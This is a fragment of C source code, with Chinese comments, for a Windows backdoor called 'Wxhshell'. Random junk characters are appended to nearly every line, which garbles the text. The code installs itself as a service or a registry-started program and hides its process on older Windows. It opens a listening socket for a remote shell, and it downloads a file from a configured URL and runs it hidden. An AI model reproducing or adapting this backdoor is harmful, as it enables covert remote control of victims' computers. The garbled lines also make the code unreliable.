ULONG InheritedFromUniqueProcessId; 9u{[e"
} PROCESS_BASIC_INFORMATION; Uq#2~0n>
I!*P' {lh
PROCNTQSIP NtQueryInformationProcess; "gM!/<~
scH61Y8`
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; DPxx9lN_rx
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =f!A o:Uc
:5%98V>02
HANDLE hProcess; Twa(RjB<
PROCESS_BASIC_INFORMATION pbi; h@$SJe(hl
Rh^@1{yr
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); q=5aHH% |
if(NULL == hInst ) return 0; pS+w4gW
|JIlp"[
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $5 mGYF]
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Dnw^H.
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $J4\jIipL
{ im?tZ,
if (!NtQueryInformationProcess) return 0; 6I"KomJ9
U?Jk
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3(V0,L'1
if(!hProcess) return 0; vgy.fP"@
j#p;XI
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -6DRX
[voZ=+/
CloseHandle(hProcess); Zm0VaOT $I
qj_0
td$
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }MOXJb @
if(hProcess==NULL) return 0; %}TJr]'F
[Ep'm
HMODULE hMod; [mv? \HDa~
char procName[255]; ^Saf
z8-3o
unsigned long cbNeeded; K[iAN;QCe%
}iKjef#J
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8D)1ZUx7`
By@65KmR"
CloseHandle(hProcess); =7}1NeC`
cVx SO`jZw
if(strstr(procName,"services")) return 1; // 以服务启动 AwG0E`SU
t[2b~peNI
return 0; // 注册表启动 K*5gb^Ul
} g "Du]_,
V7U*09
0*5
// 主模块 &UH0Tw4
int StartWxhshell(LPSTR lpCmdLine) 8WV5'cX
{ G AY?F
SOCKET wsl; H4`>B>\
BOOL val=TRUE; b/[X8w'VP
int port=0; a%c <3'
struct sockaddr_in door; yn!;Z._
k-jFT3b$
if(wscfg.ws_autoins) Install(); $H+X'1
e^N~)Nlj
port=atoi(lpCmdLine); ?<4pYEP
Ry}4MEq]
if(port<=0) port=wscfg.ws_port; \h'7[vkr
ngZq]8=o
WSADATA data; 6rbR0dSgx
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; a^LckHPI>
~.x #ic
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; F-ZTy"z
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $s=` {v v
door.sin_family = AF_INET; +)yoQRekX
door.sin_addr.s_addr = inet_addr("127.0.0.1"); vmNo~clt\
door.sin_port = htons(port); .BJoY
<P*
Q^va+O
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ju#j%!
closesocket(wsl); c[2ikI,n[
return 1; ??e|ec2%
} 9LPXhxNwB
g~-IT&O
if(listen(wsl,2) == INVALID_SOCKET) { Jq)k5X>&Sj
closesocket(wsl); y(<{e~
return 1; HdlOGa6C
} hwUb(pZ
Wxhshell(wsl); r{?qvl!q
WSACleanup(); :4[>]&:u3
^!
h3#4
return 0; qGN>a[D
5-0&`,
} Q1*_l
-}4CY\d6'
// 以NT服务方式启动 8h)7K/!\
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9[\do@
{ XBX`L"0
DWORD status = 0;
TR*vZzoy
DWORD specificError = 0xfffffff; VFawASwQ
ZYY~A_C
serviceStatus.dwServiceType = SERVICE_WIN32; ?A\+s,9
serviceStatus.dwCurrentState = SERVICE_START_PENDING; !/H `
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Jm)7!W%3
serviceStatus.dwWin32ExitCode = 0; C8v
serviceStatus.dwServiceSpecificExitCode = 0; \c{sG\ >
serviceStatus.dwCheckPoint = 0; \H>Psv{
serviceStatus.dwWaitHint = 0; #]^C(qmb:
HZ!<dy3
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); V%;dTCq
if (hServiceStatusHandle==0) return; XySkm2y
#X``^
status = GetLastError(); pk'd&.
if (status!=NO_ERROR) 4VvE(f
{ 4gEw}WiP
serviceStatus.dwCurrentState = SERVICE_STOPPED; A>Qu`%g*
serviceStatus.dwCheckPoint = 0; (gE<`b
serviceStatus.dwWaitHint = 0; )@U~Li/+
serviceStatus.dwWin32ExitCode = status; /g%RIzgW
serviceStatus.dwServiceSpecificExitCode = specificError; "+ {2!
SetServiceStatus(hServiceStatusHandle, &serviceStatus); U7/
=|Z
return; Nf* .r
} F@ pf._c
Lwm /[
serviceStatus.dwCurrentState = SERVICE_RUNNING; jp}.W
serviceStatus.dwCheckPoint = 0; =^ Ws/k
serviceStatus.dwWaitHint = 0; uF3{FYM{I
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); iu{;|E
} AK'3N1l`
F#Pn]
// 处理NT服务事件,比如:启动、停止 Je"XIhBr
VOID WINAPI NTServiceHandler(DWORD fdwControl) N|"q6M!ZL
{ E.N>,N
switch(fdwControl) 2|1CGHj\
{ D8B\F5..c#
case SERVICE_CONTROL_STOP: .*595SuF
serviceStatus.dwWin32ExitCode = 0; Kx[+$Qt
serviceStatus.dwCurrentState = SERVICE_STOPPED; i*4v!(E
serviceStatus.dwCheckPoint = 0;
\%]lsml
serviceStatus.dwWaitHint = 0; Rm,>6bQx
{ P A*U\
SetServiceStatus(hServiceStatusHandle, &serviceStatus); is%ef
} R;U4a2~
return; Kn?h
case SERVICE_CONTROL_PAUSE: E)p[^1WC
serviceStatus.dwCurrentState = SERVICE_PAUSED; -!T24/l
break; 9&kPcFX B
case SERVICE_CONTROL_CONTINUE: pfl^GgP#
serviceStatus.dwCurrentState = SERVICE_RUNNING; lFA-T I&
break; KG(l=? N
case SERVICE_CONTROL_INTERROGATE: ,N_V(Cx5pt
break; qM
Qu!%o
}; h<CRW-
SetServiceStatus(hServiceStatusHandle, &serviceStatus); J5f}-W@
} 0;w 4WJJ
z^/9YzA!6
// 标准应用程序主函数 \SgBI/L^
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) J*%IvRg
{ l\m7~
R:^jQ'1
// 获取操作系统版本 u
Vv%k5
OsIsNt=GetOsVer(); Sq2 8=1%
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?d3<GhzlR3
@,G\`;Ma
// 从命令行安装 66MUrNW
if(strpbrk(lpCmdLine,"iI")) Install(); 7coVl$_Zl
0}:Wh&g
// 下载执行文件 9RK.+2
if(wscfg.ws_downexe) { "r@G V5ED
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) t="nmjQs
WinExec(wscfg.ws_filenam,SW_HIDE); ][ 8`}ki 1
} {?cF2K#
v[DxWs8q
if(!OsIsNt) { cp`ZeLz2^
// 如果时win9x,隐藏进程并且设置为注册表启动 ?l|&JgJ$
HideProc(); 4^ 0CHy
StartWxhshell(lpCmdLine); ),%@X
} OzTR#`oey
else %?/vC6
if(StartFromService()) W_
;b e
// 以服务方式启动 G]Im.x3O-
StartServiceCtrlDispatcher(DispatchTable); J'I1NeK
else pQ ul0]
// 普通方式启动 :$XlYJrjK
StartWxhshell(lpCmdLine); DoN]v
&EC8{.7
return 0; %Go/\g
}